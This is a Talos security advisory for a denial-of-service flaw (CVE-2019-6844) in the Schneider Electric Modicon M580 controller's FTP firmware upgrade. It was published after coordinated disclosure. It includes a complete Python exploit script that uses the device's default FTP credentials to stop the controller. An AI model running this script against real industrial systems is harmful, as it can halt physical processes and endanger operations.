Talos Vulnerability Report

TALOS-2019-0825

Schneider Electric Modicon M580 Mismatched Firmware Image FTP Upgrade Denial of Service Vulnerability

October 8, 2019
CVE Number

CVE-2019-6844

Summary

An exploitable denial of service vulnerability exists in the FTP firmware update functionality of the Schneider Electric Modicon M580 Programmable Automation Controller firmware version SV2.80. A specially crafted firmware image can cause the device to enter a recoverable fault state, resulting in a stoppage of normal device execution. An attacker can use default credentials to send commands that trigger this vulnerability.

Tested Versions

Schneider Electric Modicon M580 BMEP582040 SV2.80

Product URLs

https://www.schneider-electric.com/en/work/campaign/m580-epac/

CVSSv3 Score

4.9 - CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H

CWE

CWE-248: Uncaught Exception

Details

The Modicon M580 is the latest in Schneider Electric's Modicon line of Programmable Automation Controllers. The device boasts a Wurldtech Achilles Level 2 certification and global policy controls to quickly enforce various security configurations. Communication with the device is possible over FTP, TFTP, HTTP, SNMP, EtherNet/IP, Modbus, and a management protocol referred to as UMAS.

When conducting a firmware upgrade of the Modicon M580, there are a few options to choose from, including FTP. During this process the custom FTP command UGRD can be used to initiate the upgrade on a specified flash channel and index as long as the directory and file structure is configured correctly. When this command is sent and the environment is set up correctly, the upgrade loader service switches from an 'OK' state to a 'not ready' state and begins upgrading the firmware. During a legitimate firmware upgrade this command is run twice: once for the main firmware and once for the web firmware.

During this process, a check is performed to ensure that both firmware images have the correct signature and are properly formatted. This check only verifies that the header of the image conforms to its specifications. Once this check is passed, there is no additional verification that the image being passed is the correct image. By replacing the web firmware image with the main firmware image it is possible to pass the header and signature checks. When an upgrade is attempted using this technique, the device will successfully upgrade the main firmware, attempt to upgrade the web firmware, and end up entering a recoverable fault state upon final verification. During this time communication with the device is still possible with the device's programming tools, however the normal device execution is stopped.

Exploit Proof of Concept

from ftplib import FTP, error_perm
import os
from time import sleep
import socket

# helper function to handle errors and add a sleep to the request
def deleteFile(ftp, filepath):
    try:
        ftp.delete(filepath)
    except error_perm:
        # just passing b/c this means the file was already not there
        pass
    sleep(1)

# helper function to handle errors and add a sleep to the request
def deleteDirectory(ftp, dirpath):
    try:
        cmd = "XRMD {}".format(dirpath)
        ftp.sendcmd(cmd)
    except error_perm:
        # just passing b/c this means the file was already not there
        pass
    sleep(1)

# helper function to specify a custom mkdir command and add a sleep to the request
def createDirectory(ftp, dirpath):
    cmd = "XMKD {}".format(dirpath)
    ftp.sendcmd(cmd)
    sleep(1)


def main():
    # Parameters
    rhost = "192.168.10.1"
    ftpuser = "loader"
    ftppass = "fwdownload"
    files = ["fw.ini", "M580SMP.img", "M580SMP_SIG.img", "webpage.img", "webpage_sig.img"]

    # local working dir setup
    os.chdir("BMEP582040_ldx_extracted")

    # login
    ftp = FTP(host=rhost, user=ftpuser, passwd=ftppass, timeout=10)

    # couple required commands
    ftp.sendcmd("TYPE I")
    ftp.sendcmd("DINF 254.254")

    # delete any stragglers to prevent against state issues
    for curfile in files:
        curfilepath = "/SDCA/Firmware/Device/{}".format(curfile)
        deleteFile(ftp, curfilepath)

    deleteDirectory(ftp, "/SDCA/Firmware/SysLog")
    deleteDirectory(ftp, "/SDCA/Firmware/Device")
    deleteDirectory(ftp, "/SDCA/Firmware")

    # set up dir structure
    createDirectory(ftp, "/SDCA/Firmware")
    createDirectory(ftp, "/SDCA/Firmware/Device")
    createDirectory(ftp, "/SDCA/Firmware/SysLog")
    ftp.cwd("/SDCA/Firmware/Device")

    # transfer files
    for curfile in files:
        with open(curfile, 'rb') as f:
            cmd = "STOR {}".format(curfile)
            ftp.storbinary(cmd, f)

    # make sure the device is stopped
    ftp.sendcmd("STOP")

    # get the device state
    ftp.sendcmd("LDST 255.255")

    # send the update command
    ftp.sendcmd("UGRD 254.254.10.0")

    # watch the update status until the transfer is finished
    success = False
    while True:
        sleep(1)
        resp = ftp.sendcmd("LDST") 

        if "LastError" in resp:
            success = True;
            break

        if "Transferred =" in resp and "Loader = COMPLETED" in resp:
            ftp.sendcmd("LDST 255.255")
            ftp.sendcmd("UGRD 254.254.10.5")

    if (success):
        print("Success")
    else:
        print("Failure")


if __name__ == '__main__':
    main()

Timeline

2019-05-08 - Vendor Disclosure
2019-09-10 - Disclosure timeline extended
2019-10-08 - Public Release

Credit

Discovered by Jared Rittle of Cisco Talos.